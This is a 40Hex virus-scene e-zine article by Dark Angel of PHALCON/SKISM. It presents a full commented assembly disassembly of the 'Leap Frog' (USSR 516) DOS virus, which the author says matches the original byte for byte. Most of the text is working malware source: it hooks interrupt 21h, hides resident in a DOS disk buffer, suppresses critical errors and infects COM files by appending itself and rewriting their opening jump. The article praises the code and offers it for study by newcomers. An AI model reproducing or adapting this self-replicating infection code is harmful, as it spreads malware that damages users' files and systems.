It's always interesting to find new residency techniques. I suppose everyone
by now is tired of the traditional high-memory loading routine and is on the
lookout for something different. 40Hex comes to the rescue!
This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
I have ever seen. I was mucking around in VSUM and noticed that it, according
to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
Stacks." She is, of course, not telling us the entire story. Leap Frog
basically latches onto and resides in a DOS disk buffer. I do not know who
the author is, but I commend him for his innovative technique. I took the
liberty of disassembling the virus which is given below. It should be an
exact byte-for-byte matchup of the original carrier file (or at least should
be extremely similar). The offsets are in their correct locations, etc, etc.
It is simple to understand and terribly efficient.
Although the coding is tight, there are some inconsistencies. For
example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
in the code. I also do not understand why the author decided to infect COM
files in such an abnormal way. An interesting "feature" is the disabling of
Control-Break checking - a thoroughly unnecessary piece of code. I believe
further that the line above "findmarker" should read:
lds di,dword ptr ds:[30h*4]
In any case, the code is otherwise very, very good. It is great for studying
by newcomers and "oldtimers" alike. Things to look for:
Residency routine
Lack of extensive use of relative offsets
Use of stack frame in the interrupt handler
Critical error handler
Enjoy! Dark Angel of PHALCON/SKISM
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
push ax
call beginvir
orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ; Actually it's int 21h
; entry point
int21store db 0, 0, 0, 0
beginvir: pop bp ; BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ; DI -> orig4
movsw ; restore original
movsw ; 4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ; int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ; Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ; Find marker bytes
jne findmarker ; to the entry point
mov [bp+4],di ; and move to
mov [bp+6],ds ; int30store
mov ax,5252h ; Get list of lists
int 21h ; and also ID check
add bx,12h ; Already installed?
jz quitvir ; then exit
push bx
mov ah,30h ; Get DOS version
int 21h
pop bx ; bx = 12, ptr to 1st
; disk buffer
cmp al,3
je handlebuffer ; if DOS 3
ja handleDBHCH ; if > DOS 3
inc bx ; DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ; Get seg:off of buffer
inc si
pop di
pop es ; ES:DI->seg:off buff
mov ax,[bx] ; ptr to next buffer
cmp ax,0FFFFh ; least recently used?
jne handlebuffer ; if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ; Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ; ptr to disk buffer
lodsw ; info
lodsw ; seg of disk buffer
; hash chain head array
inc ax ; second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ; EMS page, -1 if not
; in EMS
xchg ax,di ; save in di
lodsw ; ptr to least recently
; used buffer
mov [di+2],ax ; change disk buffer
; backward offset to
; least recently used
xchg ax,di ; restore EMS page
mov [di],ax ; set to least recently
movetobuffer: ; used
mov di,bx
push ds
pop es ; ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ; Copy from start
rep movsw
mov ds,cx ; DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
mov word ptr ds:[4*21h+2],es ; at int21
quitvir:
push cs ; CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ; set up stack for
push si ; the return to the
retn ; original program
int24:
mov al,3 ; Ignore all errors
iret
tickstore db 3 ; Why???
buffer db 3, 0, 9, 0
int21:
pushf
cli ; CP/M style call entry
call dword ptr cs:[int30store-start]
retn ; point of int 21h
int21DSDX: ; For int 21h calls
push ds ; with
lds dx,dword ptr [bp+2] ; DS:DX -> filename
call int21
pop ds
retn
cmp ax,4B00h ; Execute
je Execute
cmp ax,5252h ; ID check
je CheckID
cmp ah,30h ; DOS Version
je DosVersion
callorig21: ; Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ; Why????? ; DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ; Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ; # 2-17
pop ax
pop es
iret
CheckID: ; ID Check
mov bx,0FFEEh ; FFEEh = -12h
iret
Execute: ; Execute
push ax ; Save registers
push cx
push es
push bx
push ds ; DS:DX -> filename
push dx ; save it on stack
push bp
mov bp,sp ; Set up stack frame
sub sp,0Ah ; Temporary variables
; [bp-A] = attributes
; [bp-8] = int 24 off
; [bp-6] = int 24 seg
; [bp-4] = file time
; [bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ; Turn off ^C check
xor dl,dl ; (never turn it back
call int21 ; on. Bug???)
mov ax,3524h ; Get int 24h
call int21 ; (Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ; Set to new one
call int21
mov ax,4300h ; Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ; Restore crit error
lds dx,dword ptr [bp-8] ; handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ; Call orig handler
continue:
mov [bp-0Ah],cx ; Save attributes
test cl,1 ; Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ; Clear attributes
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Quit on error
noclearattr:
mov ax,3D02h ; Open read/write
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Exit if error
mov bx,ax
mov ax,5700h ; Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ; Read 4 bytes to
call int21 ; buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
jne quitinf ; Otherwise, quit
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ; go there
call int21
mov ds:[buffer-start],ax ; new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ; Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ; 0E9h means we might
jne infect ; already be there
mov ax,ds:[orig4+2-start] ; continue checking
add al,dh ; to see if we really
sub al,ah ; are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ; Go to EOF
call int21
mov ds:[buffer+2-start],ax ; save filesize
mov cx,204h
mov ah,40h ; Write virus
call int21
jc quitinf ; Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ; AX->jmp offset
mov word ptr ds:[buffer+1-start],ax; Set up buffer
mov byte ptr ds:[buffer-start],0E9h; code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ; Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ; Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ; Restore date/time
call int21
mov ah,3Eh ; Close file
call int21
mov cx,[bp-0Ah] ; Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ; Return
ussr516 ends
end stub
